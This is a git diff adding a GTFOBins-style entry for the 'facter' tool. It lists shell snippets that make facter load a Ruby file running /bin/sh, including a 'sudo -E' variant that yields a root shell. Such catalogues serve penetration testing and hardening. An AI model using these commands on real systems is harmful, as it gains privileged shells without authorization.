diff --git a/_gtfobins/facter.md b/_gtfobins/facter.md new file mode 100644 index 0000000..bce0db0 --- /dev/null +++ b/_gtfobins/facter.md @@ -0,0 +1,13 @@ +--- +functions: + execute-interactive: + - code: | + TF=$(mktemp -d) + echo 'exec("/bin/sh")' > $TF/x.rb + FACTERLIB=$TF facter + sudo-enabled: + - code: | + TF=$(mktemp -d) + echo 'exec("/bin/sh")' > $TF/x.rb + FACTERLIB=$TF sudo -E facter +---